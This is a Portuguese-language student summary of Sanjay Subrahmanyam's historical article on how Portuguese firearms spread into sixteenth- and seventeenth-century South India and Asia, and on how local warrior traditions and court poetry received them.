EFEITO KAGEMUSHA. AS ARMAS DE FOGO PORTUGUESAS E O ESTADO NO SUL DA ÍNDIA NO INÍCIO DA ÉPOCA MODERNA

Fichamento do texto: O EFEITO KAGEMUSHA. AS ARMAS DE FOGO

PORTUGUESAS E O ESTADO NO SUL DA

ÍNDIA NO INÍCIO DA ÉPOCA MODERNA de Sanjay Subrahmanyam.

Miguel Duclos

O autor, presumidamente de origem indiana, é diretor do Centro para Índia e Ásia do Sudeste e professor de História da Índia da Universidade da Califórnia (UCLA), Los Angeles, EUA, conforme consta no artigo. A partir de fontes européias, especialmente portuguesas, como cartas jesuítas e relatos de batalha, ele busca identificar os princípios da introdução de armas de fogo no território asiático no século XVI, e seus efeitos, notando como foi assimilada ou combatida pelos povos. Para tanto, recorre a algumas fontes do reino “Nayaka”, produzidas em sânscrito por membros da sua corte. Além disso, ele tangencia o debate contemporâneo no que é relevante à sua questão, citando, autores como Boxer e Maria Augusta Lima Cruz.

Sendo a pólvora há muito conhecida na China, o advento das armas de fogo ocorreu, contudo, no ambiente europeu, somando-se às outras revoluções que ajudaram a formatar a modernidade, e garantindo aos conquistadores uma vantagem bélica que compensava o ambiente estranho e a inferioridade numérica em relação aos densamente povoados territórios que chegavam pelo mar, a com as grandes navegações, muito distantes entre si. Os barcos conseguiram impôr-se no mar sobre as frotas locais especialmente quando armados de canhões. Além deste, o autor trata do arcabuz e mosquete, que foram substituídos pela espingarda mais tarde. Este advento foi fundamental para o que o autor chama de “revolução militar”.

Na abordagem do tema, o autor adota uma divisão da Ásia por regiões, sendo o extremo Oriente (China e Japão) uma, o sudeste asiático outra, e a Índia e Oriente Médio constituindo partes distintas. No Oriente Médio, as armas de fogo penetraram a partir da Europa também pela Turquia, ao passo que no extremo Oriente, especialmente no Japão, foram introduzidas exclusivamente por portugueses. No entanto, não de forma oficial, como parte do Estado da Índia submetido à Coroa, e sim por “cidadãos privados”, indivíduos que realizavam esse comércio de forma clandestina ou semi-clandestina. Nesse sentido, é notável a partipação de “renegados” ou mercenários, os chamados “vira-casaca”, um contigente considerável de pessoas de origem portuguesa, que abriram mão de fazer parte do império português, em geral por sua condição socio-econômica, passando a responder aos governantes dos territórios invadidos, e em alguns casos, convertendo-se à religião destes, como no caso da islamização de alguns portugueses.

No Japão, o uso de armas de fogo foi rapidamente assimilado, e as técnicas locais chegaram a fazer armas de qualidade superior às originais européias. Isso mudou, no entanto, com o chamado “efeito Kagemusha”, uma alusão de Subrahmanyam à película do cineasta japonês Akira Kurosawa, onde as armas de fogo foram virtualmente banidas em prol das tradições guerreiras, onde, mais do que a eficácia, considerou-se os valores da bravura e coragem, no embate direto entre os guerreiros e suas espadas. No entanto, a qualidade de outros artefatos orientais, como canhões turcos, é referenciada como de baixa qualidade, sendo praticamente desprezadas para o uso. Em alguns casos, os europeus preferiam fundir o armamento para aproveitar o metal, que muitas vezes era de baixa qualidade, e assim produzir novo artefato, minimamente eficaz.

Este conflito entre a tradição guerreira de elite e o uso dos projetéis aparece também na Índia. O autor cita um jesuíta, chamado Proenza, que observou que guerreiros raja, desprezavam as armas de fogo por conta da sua coragem. No entanto, a compilação consultada mostra que em várias localidades da Ásia o uso estava disseminado e comum, com cidades contando com grandes arsenais. Não obstante isso, muitas vezes não eram decisivas para as batalhas, efetivadas com o uso de cavalos, lanças, e elefantes. Em algumas delas, podiam servir apenas para confundir os inimigos. O impacto ensurdecedor de um estampido não categorizado causava terror, especialmente em mulheres, que fechavam seus ouvidos e olhos. O autor cita um poema em que a heroína Vijayaraghava, apaixonada por Nayaka, chama o armamento de “arma de lotus”.

Em outro caso citado, está o dilema do kaffir Jerónimo, que não sabia a quem obedecer, se à ordem de usar o seu canhão apenas para alarde, ou em bombardeios diretos aos inimigos, causando mortes. Deserdando, acabou sendo morto. Nas fontes sânscritas, o dilema dos valores tradicionais guerreiros aparece também no seu fundamento religioso, uma vez que uma vítima do “desprezível projétil” não poderia entrar no “céu”, como alguém que enfrentasse outro com igualdade de condições, frente a frente, na mitologia entronizada da “morte ideal”.

Isso não ocorreria, no entanto, somente entre os povos asiáticos, mas mesmo no contexto europeu. O autor cita João de Barros, em que um fidalgo, D. Francisco de Almeida, se vangloria de acertos de contas feitos com as mãos limpas. Nesse caso, como em outros, no entanto, o que aparece não é o aspecto bélico, da batalha, mas sim uso particular dos armamentos, em casos isolados que não tem necessariamente a ver com os interesses do Estado.

Para além do uso entre forças humanas, as fontes asiáticas relatam também o uso das armas na caça, ou seja, contra as forças naturais. Na Índia, um tigre de bengala que custasse a morrer pelos meios convencionais (lança) podia ser abatido recorrendo-se ao armamento, conforme o Kulappanayakkan Katal de Cupradipa Kavirayar. Outro autor, chamado Koneti Diksitulu, no entanto, afirma que as armas eram usadas mais para assustar os animais que abatê-los.

Essas fontes asiáticas cortesãs que o autor traz mostram que existia um profundo interesse, e mesmo fascínío, pelas armas de fogo. Isto talvez ajude a explicar o seu aparecimento num contexto emocional e por vezes poéticos. No contexto geral, apesar da sua disseminação, o seu uso não alterou de forma profunda ou definitiva as tradições, o que constitui um paradoxo interessante, que pode ser investigado pela sua significação dentro do contexto maior da colonização por parte das potências européias.

Como já mencionado, um dos fatores levantados, a baixa qualidade da produção local, transparece em outro episódio, quando os europeus enviam para Raghunatha Nayaka, de Tanjavur, dois canhões de bronze ricamente trabalhados e polidos, como um produto de adorno, para ser usado nos aposentos. Uma grande ironia, se considerar-se que foi através dos canhões que os navios europeus conseguiram impôr e estabelecer seus fortes pela costa. No entanto, os canhões eram usados nas batalhas, ainda que esporadicamente.

O uso durante um cerco ao inimigo parece ter sido mais frequente do que em campo, conforme levanta o autor na parte III do artigo, com os casos de “Chinanna Chetti das fortalezas de Kallur e Katur, no começo da década de 1630 ao norte de Tamil, e nas campanhas de Mir Muhammad Sayyid Ardestrani”. No entanto, as fontes também dão a aparecer um uso ainda apatetado por parte dos soldados e sentinelas, que assustando-se com a aproximação da cavalaria inimiga, não saberiam aplicar o difícil manejo das armas durante o confronto, atirando a esmo ou fugindo. Em outra batalha, desta vez de portugueses contra os asiáticos, em Nagapattinam, transparece a inaptidão destes últimos, o que constituiu um ponto de vantagem decisivo para os signatários da bandeira luso, em suas campanhas, desta vez a serviço do rei.

Por conta de dados como esses, não é demais supor que, apesar da rápida disseminação, em que os degredados ou mercenários exerceram papel vital, a assimilação por parte dos povos asiáticos não se deu necessariamente de forma rápida ou imediata, mas antes, de forma gradual, o que justificaria a antiga a visão de que os europeus, detentores de um melhor fabrico, manuseio e estratégia, conseguiram uma vantagem bélica considerável durante os inumeráveis confrontos que efetivaram para impôr-se como potência imperial no vasto continente asiático, para passar de novo figurante para explorador monopólico, destruindo antigos reinados e submetendo povos inteiros, no intuito de obter vantagens, mais do que participar do jogo comercial que foi o objetivo primitivo de suas expansões.

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